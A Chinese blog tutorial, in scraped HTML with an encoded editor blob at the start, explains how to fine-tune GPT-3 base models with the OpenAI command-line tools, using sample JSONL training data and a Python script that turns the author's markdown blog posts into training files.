E7%9B%8A.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23efefef%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf188ea55%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7d968fd3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%A6%81%E6%B3%A8%E6%84%8F%E7%9A%84%E6%98%AF%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u03be3ecb%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%AA%E6%96%B9%E6%A1%88%E6%9B%B4%E9%80%82%E7%94%A8%E4%BA%8E%E5%92%8CChatGPT%E6%9C%AC%E8%BA%AB%E5%8A%9F%E8%83%BD%E7%B1%BB%E4%BC%BC%E7%9A%84%E5%9C%BA%E6%99%AF%EF%BC%8C%E5%A4%A7%E9%83%A8%E5%88%86%E6%98%AF%E6%96%87%E5%AD%97%E7%B1%BB%E7%9B%B8%E5%85%B3%E7%9A%84%EF%BC%8C%E4%B8%BB%E8%A6%81%E6%98%AF%E8%AE%BE%E5%AE%9A%E5%9C%BA%E6%99%AF%E5%92%8C%E4%BA%BA%E8%AE%BE%E3%80%82%E5%9C%A8%E4%B8%80%E5%AE%9A%E7%9A%84%E9%99%90%E5%AE%9A%E5%9C%BA%E6%99%AF%E4%B8%8B%E5%B9%B6%E6%8E%A7%E5%88%B6%E5%9B%9E%E5%A4%8D%EF%BC%8C%E5%B0%B1%E6%AF%94%E5%A6%82%E9%9D%9E%E5%B8%B8%E7%BB%8F%E5%85%B8%E7%9A%84%E6%96%87%E6%A1%88%E8%BE%85%E5%8A%A9%E3%80%81%E6%89%B9%E6%94%B9%E4%BD%9C%E6%96%87%E7%AD%89%E7%AD%89%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u98df052e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2c64b138%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%86%E5%8D%95%E7%BA%AF%E7%9A%84%E9%A2%84%E5%88%B6prompt%E4%B8%8D%E9%80%82%E7%94%A8%E4%BA%8E%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u9b6f4c5c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%9C%89%E5%A4%A7%E9%87%8F%E5%9F%BA%E7%A1%80%E6%95%B0%E6%8D%AE%E7%9A%84%E7%89%B9%E6%AE%8A%E6%A8%A1%E5%9E%8B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1d6537d1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E5%BD%93%E7%84%B6%EF%BC%8C%E9%AD%94%E9%AB%98%E4%B8%80%E5%B0%BA%E9%81%93%E9%AB%98%E4%B8%80%E4%B8%88%E3%80%82%E4%B9%9F%E6%9C%89%E4%B8%8D%E5%B0%91%E4%BA%A7%E5%93%81%E7%94%A8%E4%BA%86%E4%B8%80%E4%BA%9B%E6%97%81%E6%95%B2%E7%9A%84%E6%96%B9%E6%A1%88%E3%80%82%E8%BF%98%E6%98%AF%E6%8B%BF%E5%88%9A%E6%89%8D%E5%9F%BA%E4%BA%8E%E5%8D%9A%E5%AE%A2%E6%96%87%E7%AB%A0%E8%AE%AD%E7%BB%83%E7%9A%84%E9%97%AE%E7%AD%94%E6%9C%BA%E5%99%A8%E4%BA%BA%E6%9D%A5%E4%B8%BE%E4%BE%8B%E5%AD%90%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u68d4cb76%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u8cf364bb%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%A6%82%E6%9E%9C%E5%8D%95%E7%BA%AF%E7%9A%84%E9%9D%A0%E6%96%87%E7%AB%A0%E6%95%B0%E6%8D%AE%E6%80%BB%E7%BB%93%E6%88%96%E8%80%85%E5%B9%B2%E8%84%86%E7%9B%B4%E6%8E%A5%E6%8B%BF%E5%8D%9A%E5%AE%A2%E6%96%87%E7%AB%A0%E6%9D%A5%E8%AE%AD%E7%BB%83%EF%BC%8C%E8%BF%99%E4%BB%BD%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uef0e2b90%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%95%B0%E6%8D%AE%E9%9B%86%E5%BE%88%E5%A4%A7%E8%80%8C%E4%B8%94%E5%86%85%E5%AE%B9%E5%86%97%E6%9D%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf3ee5ee3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E7%9B%B4%E6%8E%A5%E8%AE%AD%E7%BB%83%E7%9A%84%E6%95%88%E6%9E%9C%E5%BE%88%E4%B8%8D%E5%A5%BD%EF%BC%8C%E6%89%80%E4%BB%A5%E6%9B%B4%E9%9D%A0%E8%B0%B1%E7%9A%84%E6%96%B9%E6%A1%88%E6%98%AF%EF%BC%8C%E5%9C%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uba70b0fe%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22ChatGPT%E5%89%8D%E9%9D%A2%E6%8C%82%E4%B8%80%E4%B8%AA%E6%95%B0%E6%8D%AE%E5%BA%93%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud57779ab%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua942a2da%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%94%A8%E6%88%B7%E8%BE%93%E5%85%A5%E9%97%AE%E9%A2%98%E7%9A%84%E6%97%B6%E5%80%99%E5%8F%AF%E4%BB%A5%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ueacb72f1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E7%AE%80%E5%8D%95%E7%9A%84%E6%8B%86%E8%A7%A3%E5%85%B3%E9%94%AE%E8%AF%8D%E7%84%B6%E5%90%8E%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9F%A5%E8%AF%A2%E7%BB%93%E6%9E%9C%EF%BC%8C%E7%84%B6%E5%90%8E%E5%86%8D%E4%BD%9C%E4%B8%BA%E4%B8%8A%E4%B8%8B%E6%96%87%E4%BC%A0%E5%88%B0ChatGPT%EF%BC%8C%E5%B9%B6%E7%94%B1ChatGPT%E5%81%9A%E6%80%BB%E7%BB%93%E5%92%8C%E6%91%98%E8%A6%81%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u54f2cea5%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf1906399%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%86%E8%BF%99%E7%A7%8D%E5%9F%BA%E4%BA%8E%E4%B8%8A%E4%B8%8B%E6%96%87%E7%9A%84%E8%AE%AD%E7%BB%83%E6%96%B9%E6%A1%88%E9%97%AE%E9%A2%98%E6%AF%94%E8%BE%83%E5%A4%9A%EF%BC%8C%E4%B8%93%E4%B8%9A%E6%80%A7%E8%B6%8A%E5%BC%BA%E7%9A%84%E6%95%88%E6%9E%9C%E5%B0%B1%E4%BC%9A%E8%B6%8A%E5%B7%AE%EF%BC%8C%E5%86%85%E5%AE%B9%E8%B6%8A%E5%A4%9A%E6%95%88%E6%9E%9C%E4%B9%9F%E4%BC%9A%E8%B6%8A%E5%B7%AE%EF%BC%8C%E6%89%80%E4%BB%A5%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u02e18b93%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%BF%99%E5%85%B6%E5%AE%9E%E4%B9%9F%E7%AE%97%E6%98%AF%E4%B8%80%E7%A7%8D%E4%B8%B4%E6%97%B6%E6%96%B9%E6%A1%88%EF%BC%8C%E4%B8%8E%E5%AE%9E%E9%99%85%E8%AE%AD%E7%BB%83%E8%BF%87%E7%9A%84%E6%95%88%E6%9E%9C%E5%B7%AE%E5%BE%88%E5%A4%9A%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ncRGs%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u421c5d7d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9F%BA%E4%BA%8E%E5%85%B6%E4%BB%96LLM%E5%A4%A7%E6%A8%A1%E5%9E%8B%E7%9A%84%E8%AE%AD%E7%BB%83%E6%96%B9%E6%A1%88%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua691258f%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u443aefe6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%B6%E5%AE%9E%E6%8A%9B%E5%BC%80ChatGPT%E4%BB%A5%E5%A4%96%EF%BC%8C%E7%8E%B0%E5%9C%A8%E5%B8%82%E9%9D%A2%E4%B8%8A%E8%BF%98%E6%9C%89%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1c2e3b95%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E9%9D%9E%E5%B8%B8%E5%A4%9A%E6%AF%94%E8%BE%83%E9%9D%A0%E8%B0%B1%E7%9A%84LLM%E5%A4%A7%E6%A8%A1%E5%9E%8B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u16e799e1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E8%99%BD%E7%84%B6%E5%92%8CGPT4%E9%83%BD%E6%9C%89%E5%BE%88%E5%A4%A7%E7%9A%84%E5%B7%AE%E8%B7%9D%EF%BC%8C%E4%BD%86%E8%83%BD%E6%AF%94%E6%8B%9FGPT3.5%E7%9A%84%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%B7%B2%E7%BB%8F%E7%9B%B8%E5%BD%93%E5%A4%9A%E4%BA%86%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc3b8c87d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u684a8ba8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%88%91%E6%80%9D%E6%9D%A5%E6%83%B3%E5%8E%BB%EF%BC%8C%E6%84%9F%E8%A7%89%E8%BF%99%E4%B8%AA%E9%97%AE%E9%A2%98%E8%BF%98%E6%AF%94%E8%BE%83%E5%A4%9A%EF%BC%8C%E8%BF%99%E9%83%A8%E5%88%86%E5%86%85%E5%AE%B9%E6%88%91%E6%89%93%E7%AE%97%E4%B8%93%E9%97%A8%E6%8B%86%E5%88%B0%E5%8F%A6%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E9%87%8C%E5%86%8D%E8%AF%B4%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u976eba87%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ucf7f6921%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%22%7D%5D%7D%5D%2C%22attrs%22%3A%7B%7D%7D"></ne-clipboard><span style="letter-spacing: 0.034em;font-size: 16px;">在之前的文章中曾经提到过，ChatGPT其实是不接受来自互联网的知识的，他的所有内容都是来自于至少3年前各种来源的知识库。</span><strong style="letter-spacing: 0.034em;"><span style="font-size: 16px;">但这并不意味着ChatGPT没有能力学习你的回答</span></strong><span style="letter-spacing: 0.034em;font-size: 16px;">。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">首先ChatGPT一般会根据你和他的问答内容进行一定的上下文参考，其次，由于ChatGPT学习的内容之庞大，你通过一种直白的方式问不到的答案不一定是他不会，有可能是你问的方式不对。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">在ChatGPT的官方文档中，</span><strong><span style="font-size: 16px;">他首先鼓励你通过提供多个示例来让ChatGPT更准确的寻找答案，他把这个方案称之为</span></strong><strong><span style="color: rgb(53, 55, 64);font-size: 16px;">&#34;few-shot learning.&#34;</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">除此之外，当然他也允许你通过</span><strong><span style="font-size: 16px;">微调功能来对ChatGPT进行一定的训练</span></strong><span style="font-size: 16px;">，来获得一个更符合自己要求的ChatGPT，当然，这个功能是收费的。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.26666666666666666" width="1527.2726941699832" data-type="png" data-w="1680" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=681b60a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlamhEKcMcibJnkd1yFdGI75oAibbib2qn5PR4l8fQ7COTM2nv8mlUh0gwkg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">但Fine-tuning这个功能目前只能应用于</span><strong><span style="font-size: 16px;">GPT3的基础模型</span></strong><span style="font-size: 16px;">，就目前而言，</span><strong><span style="font-size: 16px;">这个功能其实还不如很多市面上的其他大模型，openai并没有给出特别好的自定义方案给大家。但这篇文章还是先聊聊这个。</span></strong></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>通过微调ChatGPT训练</span></h1><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>准备工作</span></h2><p style="min-height: 24px;"><span>首先你需要在openai的api基础上操作，所以你需要一个简单的openai环境。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">pip install --upgrade openai</pre><p style="min-height: 24px;"><span>当然你需要提前配置openai api key，这个key可以在openai的平台后台获得，这里就不多说了。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">export OPENAI_API_KEY=&#34;&lt;OPENAI_API_KEY&gt;&#34;</pre><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>准备训练数据</span></h2><p style="min-height: 24px;"><span>首先我们需要准备相应的训练数据，这个数据文件都必须是JSONL文件，每行都是一个提示对，类似于</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">{&#34;prompt&#34;: &#34;&lt;prompt text&gt;&#34;, &#34;completion&#34;: &#34;&lt;ideal generated text&gt;&#34;}<br/>{&#34;prompt&#34;: &#34;&lt;prompt text&gt;&#34;, &#34;completion&#34;: &#34;&lt;ideal generated text&gt;&#34;}<br/>{&#34;prompt&#34;: &#34;&lt;prompt text&gt;&#34;, &#34;completion&#34;: &#34;&lt;ideal generated text&gt;&#34;}<br/>...</pre><p style="min-height: 24px;"><span>一般来说，你提供的训练示例最好有几百个，训练数据会直接影响到最终模型的质量。</span></p><p style="min-height: 24px;"><span>你可以用openai提供的工具来验证和处理。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">openai tools fine_tunes.prepare_data -f &lt;LOCAL_FILE&gt;</pre><p style="min-height: 24px;"><span>你可以提供</span><strong><span style="color: rgb(53, 55, 64);font-size: 16px;">CSV, TSV, XLSX, JSON</span></strong><span style="color: rgb(53, 55, 64);font-size: 16px;">,</span><strong><span style="color: rgb(53, 55, 64);font-size: 16px;">JSONL</span></strong><span style="color: rgb(53, 55, 64);font-size: 16px;">格式的训练数据</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span style="color: rgb(53, 55, 64);">创建微调模型</span></h2><p style="min-height: 24px;"><span style="font-size: 16px;">在准备好相应的训练数据之后，你可以用opanai的工具来创建微调后的模型。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">openai api fine_tunes.create -t &lt;TRAIN_FILE_ID_OR_PATH&gt; -m &lt;BASE_MODEL&gt;</pre><p style="min-height: 24px;"><span style="font-size: 16px;">当然，这里指定的基础模型只包含GPT3的部分，包括</span><strong><span style="font-size: 14px;color: rgb(53, 55, 64);">ada</span></strong><span style="color: rgb(53, 55, 64);font-size: 16px;">, </span><strong><span style="font-size: 14px;color: rgb(53, 55, 64);">babbage</span></strong><span style="color: rgb(53, 55, 64);font-size: 16px;">, </span><strong><span style="font-size: 14px;color: rgb(53, 55, 64);">curie</span></strong><span style="color: rgb(53, 55, 64);font-size: 16px;">,</span><strong><span style="font-size: 14px;color: rgb(53, 55, 64);">davinci</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">当然由于这个功能并不是在本地完成的，在openai的平台中可能会排在几小时之后。你可以随时中断这个任务。并随时恢复进程。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">openai api fine_tunes.follow -i &lt;YOUR_FINE_TUNE_JOB_ID&gt;</pre><p style="min-height: 24px;"><span style="font-size: 16px;">在成功训练完成之后，你会获得相应的模型id。你就可以通过对应的模型id来使用它。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">当然你也可以随时删除这些模型。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">openai api models.delete -i &lt;FINE_TUNED_MODEL&gt;</pre><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>一些训练范例</span></h2><p style="min-height: 24px;"><span style="font-size: 16px;">我研究了一些相应的训练范例实践，其中还有很多有意思的方案。我挑了一些比较有特点的选出来。</span></p><p style="min-height: 24px;"><strong><span style="font-size: 16px;">1、否定训练</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">如果你在和ChatGPT的对话当中，遇到反馈的事实错误，你可以</span><strong><span style="font-size: 16px;">通过否定训练来排除这部分并更正</span></strong></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">{&#34;prompt&#34;:&#34;testtest&#34;, &#34;completion&#34;:&#34; yes&#34;}<br/>{&#34;prompt&#34;:&#34;test&#34;, &#34;completion&#34;:&#34; no&#34;}</pre><p style="min-height: 24px;"><strong><span style="font-size: 16px;">2、情感分析</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">在ChatGPT的配置中，有个很重要的参数就是情绪值。很显然，ChatGPT的情绪肯定不是空穴来风，这本身是基于数据集训练的结果。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">当然，你也可以通过</span><strong><span style="font-size: 16px;">微调来对你数据集标注情绪以此训练</span></strong></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">{&#34;prompt&#34;:&#34;Overjoyed with the new iPhone! -&gt;&#34;, &#34;completion&#34;:&#34; positive&#34;}<br/>{&#34;prompt&#34;:&#34;@lakers disappoint for a third straight night  -&gt;&#34;, &#34;completion&#34;:&#34; negative&#34;}</pre><p style="min-height: 24px;"><span style="font-size: 16px;">你可以通过api来获取prompt对应的情绪判断值。</span></p><p style="min-height: 24px;"><strong><span style="font-size: 16px;">3、分类</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">如果你想要ChatGPT帮你完成</span><strong><span style="font-size: 16px;">分类的工作</span></strong><span style="font-size: 16px;">，那最好的方案是提供范例并以数字作为标志.</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">{&#34;prompt&#34;:&#34;test&#34;, &#34;completion&#34;:&#34; 1&#34;}<br/>{&#34;prompt&#34;:&#34;1231421&#34;, &#34;completion&#34;:&#34; 2&#34;}</pre><p style="min-height: 24px;"><span style="font-size: 16px;">通过数字标志可以帮助ChatGPT更准确的对目标做分类。</span></p><p style="min-height: 24px;"><strong><span style="font-size: 16px;">4、样本处理与提取</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">如果你需要用ChatGPT来完成</span><strong><span style="font-size: 16px;">样本提取</span></strong><span style="font-size: 16px;">工作，你可以用一些简单的多行范例来举证。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">{&#34;prompt&#34;:<br/>&#34;Portugal will be removed from the UK&#39;s green travel list from Tuesday, amid rising coronavirus cases and concern over a \&#34;Nepal mutation of the so-called Indian variant\&#34;. It will join the amber list, meaning holidaymakers should not visit and returnees must isolate for 10 days...\n\n###\n\n&#34;, <br/>&#34;completion&#34;:<br/>&#34; Portugal\nUK\nNepal mutation\nIndian variant END&#34;}</pre><p style="min-height: 24px;"><span style="font-size: 16px;">理论上来说，你可以提供大量的样本标准文本的提取方案。</span></p><p style="min-height: 24px;"><strong><span style="font-size: 16px;">5、聊天机器人</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">如果你需要完成一个聊天机器人的功能，最好的办法是给ChatGPT提供</span><strong><span style="font-size: 16px;">问题以及大量回答样本</span></strong><span style="font-size: 16px;">，这样可以让ChatGPT学习他应该回答的内容。</span></p><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">{&#34;prompt&#34;:&#34;Summary: &lt;summary of the interaction so far&gt;\n\nSpecific information:&lt;for example order details in natural language&gt;\n\n###\n\nCustomer: &lt;message1&gt;\nAgent: &lt;response1&gt;\nCustomer: &lt;message2&gt;\nAgent:&#34;, <br/>&#34;completion&#34;:&#34; &lt;response2&gt;\n&#34;}<br/>{&#34;prompt&#34;:&#34;Summary: &lt;summary of the interaction so far&gt;\n\nSpecific information:&lt;for example order details in natural language&gt;\n\n###\n\nCustomer: &lt;message1&gt;\nAgent: &lt;response1&gt;\nCustomer: &lt;message2&gt;\nAgent: &lt;response2&gt;\nCustomer: &lt;message3&gt;\nAgent:&#34;, <br/>&#34;completion&#34;:&#34; &lt;response3&gt;\n&#34;}</pre><p style="min-height: 24px;"><span style="font-size: 16px;">你可以像这个范例中讲的一样，按照问题回答场景来划分提示词。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>一个小小的实例</span></h2><p style="min-height: 24px;"><span style="font-size: 16px;">接下来跟着前面的每一步来训练一个自己的ChatGPT，首先我们需要准备一份数据集。</span><strong><span style="font-size: 16px;">这里我选择用我的博客内容来做初步的内容训练。</span></strong></p><p style="min-height: 24px;"><span style="font-size: 16px;">用一个简单的python3脚本来</span><strong><span style="font-size: 16px;">处理所有的md文件并生成对应的jsonL文件</span></strong><span style="font-size: 16px;">。</span></p><p style="min-height: 24px;"><strong><span style="font-size: 16px;color: #DF2A3F;">这个prompt的范例比较粗暴，不是很靠谱的，只是测试一下。</span></strong></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">import os<br/>import glob<br/>import re<br/>import json<br/>import codecs<br/>folder_path = &#39;posts&#39; # 指定文件夹路径<br/>output_file = &#39;output.jsonl&#39; # 指定输出文件名<br/>md_files = glob.glob(os.path.join(folder_path, &#39;*.md&#39;)) # 获取所有的md文件路径<br/>with codecs.open(output_file, &#39;w&#39;, encoding=&#39;utf-8&#39;) as f:<br/>    for file in md_files:<br/>        with codecs.open(file, &#39;r&#39;, encoding=&#39;utf-8&#39;, errors=&#39;ignore&#39;) as md:<br/>            text = md.read()<br/>            match = re.search(r&#39;title: (.+)\n&#39;, text) # 匹配标题和内容<br/>            text = re.sub(r&#34;```.*?```&#34;, &#34;&#34;, text, flags=re.DOTALL)<br/>            if match:<br/>                i = 0<br/>                max_length = 2000<br/>                while len(text) &gt; i*2000:<br/>                    t = text[i*max_length:i*max_length+max_length]<br/>                    prompt = match.group(1) + &#39; Part {}&#39;.format(i+1)<br/>                    completion = &#39; &#39; + t + &#39;END&#39;<br/>                <br/>                    data = {&#34;prompt&#34;: prompt, &#34;completion&#34;: completion}<br/>                    json_data = json.dumps(data) + &#39;\n&#39; # 将字典格式化为JSONL格式<br/>                    f.write(json_data)<br/>                    i += 1</pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.42181340341655715" width="691.8181668234268" data-type="png" data-w="761" src="https://wechat2rss.xlab.app/img-proxy/?k=b85dae3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlaW8osRRQibbjkBxhdiasR9sDZdLkpWMHoau0hpazWYJaCmjFAXwicvGlAA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">然后我们用</span><strong><span style="font-size: 16px;">openai来处理一下</span></strong><span style="font-size: 16px;">这部分数据集</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.23059617547806524" width="1616.3636013298988" data-type="png" data-w="1778" src="https://wechat2rss.xlab.app/img-proxy/?k=a9723638&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USciaWsy14viaa4we9gvQuzlaekiaHok6vnuPSJImUm5K1H8hsuibzFYHzLG751Rib8SmG3SuGaibTVSjuA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>他会给你一些修改意见和处理方案，并且会自动处理一下你的数据集。</span></p><p style="min-height: 24px;"><span>然后我们在</span><strong>基础的4个GPT-3模型中选取一个作为基础模型，其中</strong><strong><span style="color: rgb(53, 55, 64);font-size: 16px;">davinci这个模型要相对来说更强大，也更适合进一步培养。</span></strong><span style="color: rgb(53, 55, 64);font-size: 16px;">但要注意的是，davinci相比之下</span><strong><span style="color: rgb(53, 55, 64);font-size: 16px;">贵10倍还多</span></strong><span style="color: rgb(53, 55, 64);font-size: 16px;">。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">openai api fine_tunes.create -t .\output_prepared.jsonl -m davinci</pre><p style="min-height: 24px;"><span style="font-size: 16px;">要注意</span><strong><span style="font-size: 16px;">这一步是要翻墙的</span></strong><span style="font-size: 16px;">，不然无法上传文件。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.1857451403887689" width="2104.5454089306613" data-type="png" data-w="2315" 